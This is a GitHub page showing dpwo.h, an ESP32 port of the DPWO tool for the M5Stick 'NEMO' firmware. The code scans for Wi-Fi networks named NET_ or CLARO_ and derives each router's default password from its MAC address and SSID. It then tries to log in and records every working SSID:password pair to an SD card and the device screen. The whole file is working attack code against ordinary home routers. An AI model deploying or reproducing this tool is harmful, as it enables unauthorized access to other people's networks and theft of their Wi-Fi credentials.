This repository has been archived by the owner on Jun 1, 2024. It is now read-only.
forked from n0xa/m5stick-nemo
-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathdpwo.h
137 lines (109 loc) · 3.52 KB
/
dpwo.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
/*
Port of DPWO for ESP32 by pr3y
Originally from https://github.com/caioluders/DPWO
saves login creds on SD mounted card
*/
#include <WiFi.h>
#include <regex>
#define SD_CREDS_PATH "/dpwoCreds.txt"
int ap_scanned = 0;
void parse_BSSID(char* bssid_without_colon, const char* bssid) {
int j = 0;
for (int i = 0; i < strlen(bssid); ++i) {
if (bssid[i] != ':') {
bssid_without_colon[j++] = bssid[i];
}
}
bssid_without_colon[j] = '\0';
}
void net_ap(int i) {
char bssid_without_colon[18];
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
Serial.println("MAC addr");
Serial.println(bssid_without_colon);
char *bssid_ready = bssid_without_colon + 4;
bssid_ready[strlen(bssid_ready)-2] = '\0';
int ssid_length = WiFi.SSID(i).length();
if (ssid_length >= 2) {
String last_two = WiFi.SSID(i).substring(ssid_length - 2);
strcat(bssid_ready, last_two.c_str());
} else {
Serial.println("ERROR");
}
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
// TODO: Dont depend on delays and compare the wifi status other way :P
delay(2000);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("\nNOPE");
WiFi.disconnect();
return;
}
Serial.println("\nWiFi Connected");
WiFi.disconnect();
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
Serial.println("\nWrote creds to SD");
#endif
DISP.setTextSize(TINY_TEXT);
DISP.setTextColor(GREEN, BGCOLOR);
DISP.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
}
void claro_ap(int i) {
char bssid_without_colon[18];
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
Serial.println("MAC addr");
Serial.println(bssid_without_colon);
char *bssid_ready = bssid_without_colon + 4;
bssid_ready[strlen(bssid_ready)-2] = '\0';
int ssid_length = WiFi.SSID(i).length();
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
delay(2000);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("\nNOPE");
WiFi.disconnect();
return;
}
Serial.println("\nWiFi Connected");
WiFi.disconnect();
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
Serial.println("\nWrote creds to SD");
#endif
DISP.setTextSize(TINY_TEXT);
DISP.setTextColor(GREEN, BGCOLOR);
DISP.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
}
void dpwo_setup() {
Serial.println("Scanning for DPWO...");
WiFi.mode(WIFI_STA);
ap_scanned = WiFi.scanNetworks();
Serial.println(ap_scanned);
DISP.setTextColor(FGCOLOR, BGCOLOR);
}
void dpwo_loop(){
if (ap_scanned == 0) {
DISP.println("no networks found");
} else {
//TODO: Add different functions to match Copel and Vivo regex on SSID also
std::regex net_regex("NET_.*");
std::regex claro_regex("CLARO_.*");
//TODO: dont repeat the wifi connection process inside each function, instead work on this loop
for (int i = 0; i < ap_scanned; ++i) {
if (std::regex_search(WiFi.SSID(i).c_str(), net_regex)) {
net_ap(i);
Serial.println("NET SSID");
} else if (std::regex_search(WiFi.SSID(i).c_str(), claro_regex)) {
claro_ap(i);
Serial.println(WiFi.SSID(i));
Serial.println("CLARO SSID");
} else {
Serial.println("not vuln");
Serial.println(WiFi.SSID(i));
}
}
}
Serial.println("scanning again");
ap_scanned = WiFi.scanNetworks();
//TODO: append vulnerable APs and dont repeat the output
DISP.println("======");
}